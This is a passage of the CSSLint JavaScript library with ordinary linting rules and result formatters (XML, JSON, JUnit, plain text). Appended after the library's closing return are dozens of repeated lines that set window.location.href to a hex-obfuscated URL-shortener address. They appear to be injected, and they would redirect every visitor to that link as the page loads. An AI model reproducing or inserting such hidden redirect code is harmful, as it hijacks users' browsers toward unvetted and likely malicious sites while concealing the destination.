10177 "-webkit-column-span": "column-span",
10178 "-webkit-columns": "columns",
10179
10180 "-moz-box-shadow": "box-shadow",
10181 "-webkit-box-shadow": "box-shadow",
10182
10183 "-moz-transform": "transform",
10184 "-webkit-transform": "transform",
10185 "-o-transform": "transform",
10186 "-ms-transform": "transform",
10187
10188 "-moz-transform-origin": "transform-origin",
10189 "-webkit-transform-origin": "transform-origin",
10190 "-o-transform-origin": "transform-origin",
10191 "-ms-transform-origin": "transform-origin",
10192
10193 "-moz-box-sizing": "box-sizing",
10194 "-webkit-box-sizing": "box-sizing"
10195 };
10196
10197 // event handler for beginning of rules
10198 function startRule() {
10199 properties = {};
10200 num = 1;
10201 }
10202
10203 // event handler for end of rules
10204 function endRule() {
10205 var prop,
10206 i,
10207 len,
10208 needed,
10209 actual,
10210 needsStandard = [];
10211
10212 for (prop in properties) {
10213 if (propertiesToCheck[prop]) {
10214 needsStandard.push({
10215 actual: prop,
10216 needed: propertiesToCheck[prop]
10217 });
10218 }
10219 }
10220
10221 for (i=0, len=needsStandard.length; i < len; i++) {
10222 needed = needsStandard[i].needed;
10223 actual = needsStandard[i].actual;
10224
10225 if (!properties[needed]) {
10226 reporter.report("Missing standard property '" + needed + "' to go along with '" + actual + "'.", properties[actual][0].name.line, properties[actual][0].name.col, rule);
10227 } else {
10228 // make sure standard property is last
10229 if (properties[needed][0].pos < properties[actual][0].pos) {
10230 reporter.report("Standard property '" + needed + "' should come after vendor-prefixed property '" + actual + "'.", properties[actual][0].name.line, properties[actual][0].name.col, rule);
10231 }
10232 }
10233 }
10234
10235 }
10236
10237 parser.addListener("startrule", startRule);
10238 parser.addListener("startfontface", startRule);
10239 parser.addListener("startpage", startRule);
10240 parser.addListener("startpagemargin", startRule);
10241 parser.addListener("startkeyframerule", startRule);
10242 parser.addListener("startviewport", startRule);
10243
10244 parser.addListener("property", function(event) {
10245 var name = event.property.text.toLowerCase();
10246
10247 if (!properties[name]) {
10248 properties[name] = [];
10249 }
10250
10251 properties[name].push({
10252 name: event.property,
10253 value: event.value,
10254 pos: num++
10255 });
10256 });
10257
10258 parser.addListener("endrule", endRule);
10259 parser.addListener("endfontface", endRule);
10260 parser.addListener("endpage", endRule);
10261 parser.addListener("endpagemargin", endRule);
10262 parser.addListener("endkeyframerule", endRule);
10263 parser.addListener("endviewport", endRule);
10264 }
10265
10266});
10267
10268/*
10269 * Rule: You don't need to specify units when a value is 0.
10270 */
10271
10272CSSLint.addRule({
10273
10274 // rule information
10275 id: "zero-units",
10276 name: "Disallow units for 0 values",
10277 desc: "You don't need to specify units when a value is 0.",
10278 url: "https://github.com/CSSLint/csslint/wiki/Disallow-units-for-zero-values",
10279 browsers: "All",
10280
10281 // initialization
10282 init: function(parser, reporter) {
10283 "use strict";
10284 var rule = this;
10285
10286 // count how many times "float" is used
10287 parser.addListener("property", function(event) {
10288 var parts = event.value.parts,
10289 i = 0,
10290 len = parts.length;
10291
10292 while (i < len) {
10293 if ((parts[i].units || parts[i].type === "percentage") && parts[i].value === 0 && parts[i].type !== "time") {
10294 reporter.report("Values of 0 shouldn't have units specified.", parts[i].line, parts[i].col, rule);
10295 }
10296 i++;
10297 }
10298
10299 });
10300
10301 }
10302
10303});
10304
10305(function() {
10306 "use strict";
10307
10308 /**
10309 * Replace special characters before write to output.
10310 *
10311 * Rules:
10312 * - single quotes is the escape sequence for double-quotes
10313 * - &amp; is the escape sequence for &
10314 * - &lt; is the escape sequence for <
10315 * - &gt; is the escape sequence for >
10316 *
10317 * @param {String} message to escape
10318 * @return escaped message as {String}
10319 */
10320 var xmlEscape = function(str) {
10321 if (!str || str.constructor !== String) {
10322 return "";
10323 }
10324
10325 return str.replace(/["&><]/g, function(match) {
10326 switch (match) {
10327 case "\"":
10328 return "&quot;";
10329 case "&":
10330 return "&amp;";
10331 case "<":
10332 return "&lt;";
10333 case ">":
10334 return "&gt;";
10335 }
10336 });
10337 };
10338
10339 CSSLint.addFormatter({
10340 // format information
10341 id: "checkstyle-xml",
10342 name: "Checkstyle XML format",
10343
10344 /**
10345 * Return opening root XML tag.
10346 * @return {String} to prepend before all results
10347 */
10348 startFormat: function() {
10349 return "<?xml version=\"1.0\" encoding=\"utf-8\"?><checkstyle>";
10350 },
10351
10352 /**
10353 * Return closing root XML tag.
10354 * @return {String} to append after all results
10355 */
10356 endFormat: function() {
10357 return "</checkstyle>";
10358 },
10359
10360 /**
10361 * Returns message when there is a file read error.
10362 * @param {String} filename The name of the file that caused the error.
10363 * @param {String} message The error message
10364 * @return {String} The error message.
10365 */
10366 readError: function(filename, message) {
10367 return "<file name=\"" + xmlEscape(filename) + "\"><error line=\"0\" column=\"0\" severty=\"error\" message=\"" + xmlEscape(message) + "\"></error></file>";
10368 },
10369
10370 /**
10371 * Given CSS Lint results for a file, return output for this format.
10372 * @param results {Object} with error and warning messages
10373 * @param filename {String} relative file path
10374 * @param options {Object} (UNUSED for now) specifies special handling of output
10375 * @return {String} output for results
10376 */
10377 formatResults: function(results, filename/*, options*/) {
10378 var messages = results.messages,
10379 output = [];
10380
10381 /**
10382 * Generate a source string for a rule.
10383 * Checkstyle source strings usually resemble Java class names e.g
10384 * net.csslint.SomeRuleName
10385 * @param {Object} rule
10386 * @return rule source as {String}
10387 */
10388 var generateSource = function(rule) {
10389 if (!rule || !("name" in rule)) {
10390 return "";
10391 }
10392 return "net.csslint." + rule.name.replace(/\s/g, "");
10393 };
10394
10395
10396 if (messages.length > 0) {
10397 output.push("<file name=\""+filename+"\">");
10398 CSSLint.Util.forEach(messages, function (message) {
10399 // ignore rollups for now
10400 if (!message.rollup) {
10401 output.push("<error line=\"" + message.line + "\" column=\"" + message.col + "\" severity=\"" + message.type + "\"" +
10402 " message=\"" + xmlEscape(message.message) + "\" source=\"" + generateSource(message.rule) +"\"/>");
10403 }
10404 });
10405 output.push("</file>");
10406 }
10407
10408 return output.join("");
10409 }
10410 });
10411
10412}());
10413
10414CSSLint.addFormatter({
10415 // format information
10416 id: "compact",
10417 name: "Compact, 'porcelain' format",
10418
10419 /**
10420 * Return content to be printed before all file results.
10421 * @return {String} to prepend before all results
10422 */
10423 startFormat: function() {
10424 "use strict";
10425 return "";
10426 },
10427
10428 /**
10429 * Return content to be printed after all file results.
10430 * @return {String} to append after all results
10431 */
10432 endFormat: function() {
10433 "use strict";
10434 return "";
10435 },
10436
10437 /**
10438 * Given CSS Lint results for a file, return output for this format.
10439 * @param results {Object} with error and warning messages
10440 * @param filename {String} relative file path
10441 * @param options {Object} (Optional) specifies special handling of output
10442 * @return {String} output for results
10443 */
10444 formatResults: function(results, filename, options) {
10445 "use strict";
10446 var messages = results.messages,
10447 output = "";
10448 options = options || {};
10449
10450 /**
10451 * Capitalize and return given string.
10452 * @param str {String} to capitalize
10453 * @return {String} capitalized
10454 */
10455 var capitalize = function(str) {
10456 return str.charAt(0).toUpperCase() + str.slice(1);
10457 };
10458
10459 if (messages.length === 0) {
10460 return options.quiet ? "" : filename + ": Lint Free!";
10461 }
10462
10463 CSSLint.Util.forEach(messages, function(message) {
10464 if (message.rollup) {
10465 output += filename + ": " + capitalize(message.type) + " - " + message.message + " (" + message.rule.id + ")\n";
10466 } else {
10467 output += filename + ": line " + message.line +
10468 ", col " + message.col + ", " + capitalize(message.type) + " - " + message.message + " (" + message.rule.id + ")\n";
10469 }
10470 });
10471
10472 return output;
10473 }
10474});
10475
10476CSSLint.addFormatter({
10477 // format information
10478 id: "csslint-xml",
10479 name: "CSSLint XML format",
10480
10481 /**
10482 * Return opening root XML tag.
10483 * @return {String} to prepend before all results
10484 */
10485 startFormat: function() {
10486 "use strict";
10487 return "<?xml version=\"1.0\" encoding=\"utf-8\"?><csslint>";
10488 },
10489
10490 /**
10491 * Return closing root XML tag.
10492 * @return {String} to append after all results
10493 */
10494 endFormat: function() {
10495 "use strict";
10496 return "</csslint>";
10497 },
10498
10499 /**
10500 * Given CSS Lint results for a file, return output for this format.
10501 * @param results {Object} with error and warning messages
10502 * @param filename {String} relative file path
10503 * @param options {Object} (UNUSED for now) specifies special handling of output
10504 * @return {String} output for results
10505 */
10506 formatResults: function(results, filename/*, options*/) {
10507 "use strict";
10508 var messages = results.messages,
10509 output = [];
10510
10511 /**
10512 * Replace special characters before write to output.
10513 *
10514 * Rules:
10515 * - single quotes is the escape sequence for double-quotes
10516 * - &amp; is the escape sequence for &
10517 * - &lt; is the escape sequence for <
10518 * - &gt; is the escape sequence for >
10519 *
10520 * @param {String} message to escape
10521 * @return escaped message as {String}
10522 */
10523 var escapeSpecialCharacters = function(str) {
10524 if (!str || str.constructor !== String) {
10525 return "";
10526 }
10527 return str.replace(/"/g, "'").replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
10528 };
10529
10530 if (messages.length > 0) {
10531 output.push("<file name=\""+filename+"\">");
10532 CSSLint.Util.forEach(messages, function (message) {
10533 if (message.rollup) {
10534 output.push("<issue severity=\"" + message.type + "\" reason=\"" + escapeSpecialCharacters(message.message) + "\" evidence=\"" + escapeSpecialCharacters(message.evidence) + "\"/>");
10535 } else {
10536 output.push("<issue line=\"" + message.line + "\" char=\"" + message.col + "\" severity=\"" + message.type + "\"" +
10537 " reason=\"" + escapeSpecialCharacters(message.message) + "\" evidence=\"" + escapeSpecialCharacters(message.evidence) + "\"/>");
10538 }
10539 });
10540 output.push("</file>");
10541 }
10542
10543 return output.join("");
10544 }
10545});
10546
10547/* globals JSON: true */
10548
10549CSSLint.addFormatter({
10550 // format information
10551 id: "json",
10552 name: "JSON",
10553
10554 /**
10555 * Return content to be printed before all file results.
10556 * @return {String} to prepend before all results
10557 */
10558 startFormat: function() {
10559 "use strict";
10560 this.json = [];
10561 return "";
10562 },
10563
10564 /**
10565 * Return content to be printed after all file results.
10566 * @return {String} to append after all results
10567 */
10568 endFormat: function() {
10569 "use strict";
10570 var ret = "";
10571 if (this.json.length > 0) {
10572 if (this.json.length === 1) {
10573 ret = JSON.stringify(this.json[0]);
10574 } else {
10575 ret = JSON.stringify(this.json);
10576 }
10577 }
10578 return ret;
10579 },
10580
10581 /**
10582 * Given CSS Lint results for a file, return output for this format.
10583 * @param results {Object} with error and warning messages
10584 * @param filename {String} relative file path (Unused)
10585 * @return {String} output for results
10586 */
10587 formatResults: function(results, filename, options) {
10588 "use strict";
10589 if (results.messages.length > 0 || !options.quiet) {
10590 this.json.push({
10591 filename: filename,
10592 messages: results.messages,
10593 stats: results.stats
10594 });
10595 }
10596 return "";
10597 }
10598});
10599
10600CSSLint.addFormatter({
10601 // format information
10602 id: "junit-xml",
10603 name: "JUNIT XML format",
10604
10605 /**
10606 * Return opening root XML tag.
10607 * @return {String} to prepend before all results
10608 */
10609 startFormat: function() {
10610 "use strict";
10611 return "<?xml version=\"1.0\" encoding=\"utf-8\"?><testsuites>";
10612 },
10613
10614 /**
10615 * Return closing root XML tag.
10616 * @return {String} to append after all results
10617 */
10618 endFormat: function() {
10619 "use strict";
10620 return "</testsuites>";
10621 },
10622
10623 /**
10624 * Given CSS Lint results for a file, return output for this format.
10625 * @param results {Object} with error and warning messages
10626 * @param filename {String} relative file path
10627 * @param options {Object} (UNUSED for now) specifies special handling of output
10628 * @return {String} output for results
10629 */
10630 formatResults: function(results, filename/*, options*/) {
10631 "use strict";
10632
10633 var messages = results.messages,
10634 output = [],
10635 tests = {
10636 "error": 0,
10637 "failure": 0
10638 };
10639
10640 /**
10641 * Generate a source string for a rule.
10642 * JUNIT source strings usually resemble Java class names e.g
10643 * net.csslint.SomeRuleName
10644 * @param {Object} rule
10645 * @return rule source as {String}
10646 */
10647 var generateSource = function(rule) {
10648 if (!rule || !("name" in rule)) {
10649 return "";
10650 }
10651 return "net.csslint." + rule.name.replace(/\s/g, "");
10652 };
10653
10654 /**
10655 * Replace special characters before write to output.
10656 *
10657 * Rules:
10658 * - single quotes is the escape sequence for double-quotes
10659 * - &lt; is the escape sequence for <
10660 * - &gt; is the escape sequence for >
10661 *
10662 * @param {String} message to escape
10663 * @return escaped message as {String}
10664 */
10665 var escapeSpecialCharacters = function(str) {
10666
10667 if (!str || str.constructor !== String) {
10668 return "";
10669 }
10670
10671 return str.replace(/"/g, "'").replace(/</g, "&lt;").replace(/>/g, "&gt;");
10672
10673 };
10674
10675 if (messages.length > 0) {
10676
10677 messages.forEach(function (message) {
10678
10679 // since junit has no warning class
10680 // all issues as errors
10681 var type = message.type === "warning" ? "error" : message.type;
10682
10683 // ignore rollups for now
10684 if (!message.rollup) {
10685
10686 // build the test case separately, once joined
10687 // we'll add it to a custom array filtered by type
10688 output.push("<testcase time=\"0\" name=\"" + generateSource(message.rule) + "\">");
10689 output.push("<" + type + " message=\"" + escapeSpecialCharacters(message.message) + "\"><![CDATA[" + message.line + ":" + message.col + ":" + escapeSpecialCharacters(message.evidence) + "]]></" + type + ">");
10690 output.push("</testcase>");
10691
10692 tests[type] += 1;
10693
10694 }
10695
10696 });
10697
10698 output.unshift("<testsuite time=\"0\" tests=\"" + messages.length + "\" skipped=\"0\" errors=\"" + tests.error + "\" failures=\"" + tests.failure + "\" package=\"net.csslint\" name=\"" + filename + "\">");
10699 output.push("</testsuite>");
10700
10701 }
10702
10703 return output.join("");
10704
10705 }
10706});
10707
10708CSSLint.addFormatter({
10709 // format information
10710 id: "lint-xml",
10711 name: "Lint XML format",
10712
10713 /**
10714 * Return opening root XML tag.
10715 * @return {String} to prepend before all results
10716 */
10717 startFormat: function() {
10718 "use strict";
10719 return "<?xml version=\"1.0\" encoding=\"utf-8\"?><lint>";
10720 },
10721
10722 /**
10723 * Return closing root XML tag.
10724 * @return {String} to append after all results
10725 */
10726 endFormat: function() {
10727 "use strict";
10728 return "</lint>";
10729 },
10730
10731 /**
10732 * Given CSS Lint results for a file, return output for this format.
10733 * @param results {Object} with error and warning messages
10734 * @param filename {String} relative file path
10735 * @param options {Object} (UNUSED for now) specifies special handling of output
10736 * @return {String} output for results
10737 */
10738 formatResults: function(results, filename/*, options*/) {
10739 "use strict";
10740 var messages = results.messages,
10741 output = [];
10742
10743 /**
10744 * Replace special characters before write to output.
10745 *
10746 * Rules:
10747 * - single quotes is the escape sequence for double-quotes
10748 * - &amp; is the escape sequence for &
10749 * - &lt; is the escape sequence for <
10750 * - &gt; is the escape sequence for >
10751 *
10752 * @param {String} message to escape
10753 * @return escaped message as {String}
10754 */
10755 var escapeSpecialCharacters = function(str) {
10756 if (!str || str.constructor !== String) {
10757 return "";
10758 }
10759 return str.replace(/"/g, "'").replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
10760 };
10761
10762 if (messages.length > 0) {
10763
10764 output.push("<file name=\""+filename+"\">");
10765 CSSLint.Util.forEach(messages, function (message) {
10766 if (message.rollup) {
10767 output.push("<issue severity=\"" + message.type + "\" reason=\"" + escapeSpecialCharacters(message.message) + "\" evidence=\"" + escapeSpecialCharacters(message.evidence) + "\"/>");
10768 } else {
10769 var rule = "";
10770 if (message.rule && message.rule.id) {
10771 rule = "rule=\"" + escapeSpecialCharacters(message.rule.id) + "\" ";
10772 }
10773 output.push("<issue " + rule + "line=\"" + message.line + "\" char=\"" + message.col + "\" severity=\"" + message.type + "\"" +
10774 " reason=\"" + escapeSpecialCharacters(message.message) + "\" evidence=\"" + escapeSpecialCharacters(message.evidence) + "\"/>");
10775 }
10776 });
10777 output.push("</file>");
10778 }
10779
10780 return output.join("");
10781 }
10782});
10783
10784CSSLint.addFormatter({
10785 // format information
10786 id: "text",
10787 name: "Plain Text",
10788
10789 /**
10790 * Return content to be printed before all file results.
10791 * @return {String} to prepend before all results
10792 */
10793 startFormat: function() {
10794 "use strict";
10795 return "";
10796 },
10797
10798 /**
10799 * Return content to be printed after all file results.
10800 * @return {String} to append after all results
10801 */
10802 endFormat: function() {
10803 "use strict";
10804 return "";
10805 },
10806
10807 /**
10808 * Given CSS Lint results for a file, return output for this format.
10809 * @param results {Object} with error and warning messages
10810 * @param filename {String} relative file path
10811 * @param options {Object} (Optional) specifies special handling of output
10812 * @return {String} output for results
10813 */
10814 formatResults: function(results, filename, options) {
10815 "use strict";
10816 var messages = results.messages,
10817 output = "";
10818 options = options || {};
10819
10820 if (messages.length === 0) {
10821 return options.quiet ? "" : "\n\ncsslint: No errors in " + filename + ".";
10822 }
10823
10824 output = "\n\ncsslint: There ";
10825 if (messages.length === 1) {
10826 output += "is 1 problem";
10827 } else {
10828 output += "are " + messages.length + " problems";
10829 }
10830 output += " in " + filename + ".";
10831
10832 var pos = filename.lastIndexOf("/"),
10833 shortFilename = filename;
10834
10835 if (pos === -1) {
10836 pos = filename.lastIndexOf("\\");
10837 }
10838 if (pos > -1) {
10839 shortFilename = filename.substring(pos+1);
10840 }
10841
10842 CSSLint.Util.forEach(messages, function (message, i) {
10843 output = output + "\n\n" + shortFilename;
10844 if (message.rollup) {
10845 output += "\n" + (i+1) + ": " + message.type;
10846 output += "\n" + message.message;
10847 } else {
10848 output += "\n" + (i+1) + ": " + message.type + " at line " + message.line + ", col " + message.col;
10849 output += "\n" + message.message;
10850 output += "\n" + message.evidence;
10851 }
10852 });
10853
10854 return output;
10855 }
10856});
10857
10858return CSSLint;
10859})();
10860window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10861window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10862window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10863window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10864window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10865window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10866window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10867window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10868window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10869window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10870window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10871window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10872window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10873window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10874window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10875window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10876window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10877window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10878window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10879window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10880window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10881window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10882window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10883window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10884window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10885window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10886window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10887window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10888window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10889window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10890window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10891window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10892window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10893window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10894window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10895window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10896window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10897window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10898window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10899window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10900window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10901window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10902window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10903window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10904window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10905window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10906window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
10907window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";